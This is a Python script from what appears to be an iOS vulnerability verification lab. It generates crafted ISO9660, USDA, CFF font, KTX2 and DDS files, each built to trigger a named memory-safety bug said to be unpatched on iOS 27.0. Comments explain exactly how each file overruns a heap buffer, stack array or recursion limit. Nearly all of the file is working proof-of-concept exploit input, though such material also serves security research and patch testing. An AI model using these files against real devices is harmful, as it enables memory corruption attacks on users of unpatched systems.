Cinder27 — iOS 17.0-27.1 vulnerability verification lab: 51 modules, 31 per-CVE POC folders, 11 no-CVE module folders, harness app source
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#!/usr/bin/env python3
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"""
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gen_seeds.py — structural seed builder for Cinder27.
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Every seed targets a check Apple ADDED in iOS 27.2 (24B115) and therefore a bug that is
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LIVE on iOS 27.0 / 27.0.1 (24A435 / 24A446). Nothing here is a weapon; each file is the
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minimum input that reaches the vulnerable parser and trips the missing bound.
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Outputs -> ../seeds/
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joliet_path_oob.iso ISO9660 + Joliet pathname overflow CVE-2026-112522 (libarchive)
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deep_nest.usda USDA declaration nesting CVE-2026-112485 (Model I/O / libusd_ms)
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stack_bomb.cff CFF Type2 charstring stack overrun CVE-2026-112683 (FontParser)
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ktx2_bad_dims.ktx2 KTX2 dimension/level size math CVE-2026-112632 family (ImageIO texture)
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bc7_short.dds DDS BC7 truncated mip level CVE-2026-112627 family (ImageIO texture)
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"""
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import os
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import struct
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import sys
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HERE = os.path.dirname(os.path.abspath(__file__))
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OUT = os.path.join(HERE, "..", "seeds")
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os.makedirs(OUT, exist_ok=True)
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SECTOR = 2048
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# --------------------------------------------------------------------------- helpers
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def both16(v):
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return struct.pack("<H", v) + struct.pack(">H", v)
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def both32(v):
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return struct.pack("<I", v) + struct.pack(">I", v)
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def iso_date(y=2026, mo=10, d=28, h=12, mi=0, s=0):
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return bytes([y - 1900, mo, d, h, mi, s, 0])
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def dir_record(name_bytes, extent, size, flags):
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"""ISO9660 directory record. name_bytes is the raw name (0x00 root, 0x01 parent)."""
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body = bytes([0]) + both32(extent) + both32(size) + iso_date() + bytes([flags, 0, 0]) + both16(1)
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rec = bytes([0]) + body + bytes([len(name_bytes)]) + name_bytes
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if len(rec) % 2:
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rec += b"\x00"
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rec = bytes([len(rec)]) + rec[1:]
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return rec
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def pad_to(data, n):
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if len(data) < n:
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data = data + b"\x00" * (n - len(data))
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return data[:n]
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def ucs2(name):
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return name.encode("utf-16-be")
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# --------------------------------------------------------------------------- ISO9660 Joliet
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def build_joliet_iso():
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"""
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Craft per libarchive upstream 750e8d7b25de (fix Apple shipped in 27.2, absent on 27.0).
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build_pathname_utf16be() recurses to the parent, then writes a 2-byte UTF-16BE '/'
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separator WITHOUT re-checking the running length against max (1024). A directory
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chain whose accumulated path is exactly 1024 bytes makes the deepest unwind store at
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p[1024] / p[1025] — two bytes past a malloc(1024) heap buffer.
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Chain: root -> A(103 chars) -> B(103) -> C(103) -> D(103) -> E(96), file F in E.
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Accumulated: 4*206 + 192 + 4*2 = 1024 exactly.
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"""
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names = ["A" * 103, "B" * 103, "C" * 103, "D" * 103, "E" * 96]
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# sector plan
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LBA_PVD = 16
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LBA_SVD = 17
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LBA_TERM = 18
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LBA_PT_ASCII = 19
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LBA_PT_JOLIET = 20
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LBA_ROOT = 21
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first_dir = LBA_ROOT + 1 # 22 .. 26
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LBA_FILE = first_dir + len(names) # 27
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total_sectors = LBA_FILE + 1
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img = bytearray(total_sectors * SECTOR)
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def put(lba, data):
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img[lba * SECTOR: lba * SECTOR + len(data)] = data
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# ---- path tables (type L, little endian extents)
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def path_table(encode):
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out = bytearray()
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entries = [("", 1, LBA_ROOT)] + [(n, i + 2, first_dir + i) for i, n in enumerate(names)]
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for name, parent, extent in entries:
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nb = encode(name) if name else b"\x00"
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rec = bytes([len(nb), 0]) + struct.pack("<I", extent) + struct.pack("<H", parent) + nb
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if len(rec) % 2:
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rec += b"\x00"
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out += rec
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return bytes(out)
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pt_ascii = path_table(lambda s: s.encode("ascii"))
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pt_joliet = path_table(ucs2)
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put(LBA_PT_ASCII, pt_ascii)
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put(LBA_PT_JOLIET, pt_joliet)
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# ---- directories
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def build_dir(lba, parent_lba, children):
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"""children: list of (name_bytes, extent, size, flags)"""
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body = bytearray()
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body += dir_record(b"\x00", lba, SECTOR, 0x02) # '.'
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body += dir_record(b"\x01", parent_lba, SECTOR, 0x02) # '..'
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for nb, ext, size, flags in children:
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body += dir_record(nb, ext, size, flags)
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return pad_to(bytes(body), SECTOR)
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# root contains A
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put(LBA_ROOT, build_dir(LBA_ROOT, LBA_ROOT,
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[(ucs2(names[0]), first_dir, SECTOR, 0x02)]))
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for i, name in enumerate(names):
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lba = first_dir + i
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parent = LBA_ROOT if i == 0 else first_dir + i - 1
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kids = []
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if i + 1 < len(names):
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kids.append((ucs2(names[i + 1]), first_dir + i + 1, SECTOR, 0x02))
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else:
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kids.append((ucs2("F"), LBA_FILE, 0, 0x00))
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put(lba, build_dir(lba, parent, kids))
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put(LBA_FILE, b"")
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# ---- volume descriptors
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def volume_descriptor(kind, joliet, root_lba, pt_lba, pt_size):
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d = bytearray(2048)
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d[0] = kind
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d[1:6] = b"CD001"
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d[6] = 1
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if joliet:
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d[8:8 + 32] = ucs2("CINDER27".ljust(16))
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d[40:40 + 32] = ucs2("JOLIET-OOB".ljust(16))
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else:
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d[8:8 + 32] = b"CINDER27".ljust(32, b" ")
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d[40:40 + 32] = b"JOLIET-OOB".ljust(32, b" ")
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d[80:88] = both32(total_sectors)
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d[120:124] = both16(1) # volume set size
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d[124:128] = both16(1) # volume sequence number
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d[128:132] = both16(SECTOR) # logical block size
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d[132:140] = both32(pt_size) # path table size (both endian)
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d[140:144] = struct.pack("<I", pt_lba) # type-L path table location
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d[144:148] = struct.pack("<I", 0) # optional type-L
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d[148:152] = struct.pack(">I", 0) # type-M (unused)
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d[152:156] = struct.pack(">I", 0) # optional type-M
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# root directory record at offset 156
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root = dir_record(b"\x00", root_lba, SECTOR, 0x02)
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d[156:156 + len(root)] = root
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d[881] = 1 # file structure version
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if joliet:
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d[88:88 + 3] = b"%/E" # escape sequence
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return bytes(d)
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put(LBA_PVD, volume_descriptor(1, False, LBA_ROOT, LBA_PT_ASCII, len(pt_ascii)))
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put(LBA_SVD, volume_descriptor(2, True, LBA_ROOT, LBA_PT_JOLIET, len(pt_joliet)))
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term = bytearray(2048)
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term[0] = 255
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term[1:6] = b"CD001"
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term[6] = 1
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put(LBA_TERM, bytes(term))
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return bytes(img)
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# --------------------------------------------------------------------------- USDA nesting
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def build_usda(depth=2000):
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"""libusd_ms 24.1.30 caps USDA declaration nesting in 24.1.32; 27.0 recurses unbounded."""
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head = "#usda 1.0\n\n"
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body = "".join('def Xform "n%d" {' % i for i in range(depth))
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tail = "}" * depth
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return (head + body + tail + "\n").encode()
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# --------------------------------------------------------------------------- CFF stack bomb
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def build_cff():
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"""
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Bare CFF with one charstring that pushes 300 operands before endchar.
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FontParser's Type2 interpreter keeps its operand stack in a fixed 48-entry array;
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27.0 only bounds the *count* on pop paths, the push path walks past the array.
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"""
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def index(items):
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if not items:
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return struct.pack(">H", 0)
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off = 1
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offs = [1]
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for it in items:
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off += len(it)
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offs.append(off)
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off_size = 1 if off < 0x100 else (2 if off < 0x10000 else (3 if off < 0x1000000 else 4))
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out = struct.pack(">H", len(items)) + bytes([off_size])
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for o in offs:
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out += o.to_bytes(off_size, "big")
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out += b"".join(items)
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return out
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header = bytes([1, 0, 4, 1])
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name_index = index([b"CinderStackBomb"])
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# charstring: 300 pushes of 1, then endchar
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cs = bytearray()
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for _ in range(300):
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cs.append(139 + 1) # push small int 1
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cs.append(14) # endchar
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charstrings = index([bytes(cs)])
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gsubrs = index([])
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strings = index([])
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# Top DICT references CharStrings (op 17) and Private (op 18), both absolute offsets.
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# Two-pass: build with placeholder of the same byte width, then patch.
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def top_dict(cs_off, priv_off, priv_size):
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def enc(v):
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# DICT operand: 29 => 5-byte integer (fixed width, easy patching)
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return b"\x1d" + struct.pack(">i", v)
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d = enc(cs_off) + b"\x11" # CharStrings
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d += enc(priv_size) + enc(priv_off) + b"\x12" # Private
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return d
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placeholder = top_dict(0, 0, 0)
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top_index = index([placeholder])
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priv = b"\x00" # trivial private dict (blueValues absent)
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priv_index_data = priv
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# layout: header | name | top | strings | gsubrs | charstrings | private
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off = len(header) + len(name_index)
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top_off = off
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off += len(top_index)
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off += len(strings)
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off += len(gsubrs)
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cs_off = off
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off += len(charstrings)
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priv_off = off
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top_index = index([top_dict(cs_off, priv_off, len(priv))])
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out = header + name_index + top_index + strings + gsubrs + charstrings + priv_index_data
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return out
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# --------------------------------------------------------------------------- KTX2
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def build_ktx2():
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ident = bytes([0xAB, 0x4B, 0x54, 0x58, 0x20, 0x32, 0x30, 0xBB, 0x0D, 0x0A, 0x1A, 0x0A])
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vk_format = 0 # 0 => block-compressed via DFD
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type_size = 1
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w, h = 0xFFFF, 0xFFFF
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depth, layers, faces, levels = 0, 0, 1, 1
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scheme = 0
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kvd_off, kvd_len = 0, 0
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sgdt_off, sgdt_len = 0, 0
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header = struct.pack("<9I", vk_format, type_size, w, h, depth, layers, faces, levels, scheme)
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header += struct.pack("<IQ", kvd_off, kvd_len)
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header += struct.pack("<IQQ", sgdt_off, sgdt_len, 0)
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# level index: one level, claiming a tiny byteOffset/byteLength
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level_index = struct.pack("<QQQ", 0, 0, 64)
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body = b"\x00" * 64
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return ident + header + level_index + body
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# --------------------------------------------------------------------------- DDS BC7
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def build_dds():
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magic = b"DDS "
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flags = 0x00081007
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height, width = 512, 512
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pitch = 0
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depth = 0
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mips = 1
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hdr = struct.pack("<7I", 124, flags, height, width, pitch, depth, mips)
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hdr += b"\x00" * 44 # reserved
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hdr += struct.pack("<I", 32) # pixelformat size
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hdr += struct.pack("<I", 0x4) # DDPF_FOURCC
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hdr += b"DX10"
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hdr += b"\x00" * 20
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hdr += struct.pack("<5I", 0x1000, 0, 0, 0, 0) # caps
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# DX10 extension header: DXGI_FORMAT_BC7_UNORM = 98
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dx10 = struct.pack("<5I", 98, 3, 0, 1, 0)
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data = b"\x00" * 64 # needs 65536 for one full mip
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return magic + hdr + dx10 + data
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# --------------------------------------------------------------------------- main
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def main():
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written = []
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iso = build_joliet_iso()
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p = os.path.join(OUT, "joliet_path_oob.iso")
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open(p, "wb").write(iso)
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written.append((p, len(iso)))
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usda = build_usda()
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p = os.path.join(OUT, "deep_nest.usda")
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open(p, "wb").write(usda)
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written.append((p, len(usda)))
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cff = build_cff()
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p = os.path.join(OUT, "stack_bomb.cff")
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open(p, "wb").write(cff)
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written.append((p, len(cff)))
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ktx = build_ktx2()
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p = os.path.join(OUT, "ktx2_bad_dims.ktx2")
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open(p, "wb").write(ktx)
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written.append((p, len(ktx)))
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dds = build_dds()
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p = os.path.join(OUT, "bc7_short.dds")
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open(p, "wb").write(dds)
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written.append((p, len(dds)))
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for p, n in written:
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print("wrote %-28s %8d bytes" % (os.path.basename(p), n))
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return 0
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if __name__ == "__main__":
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sys.exit(main())
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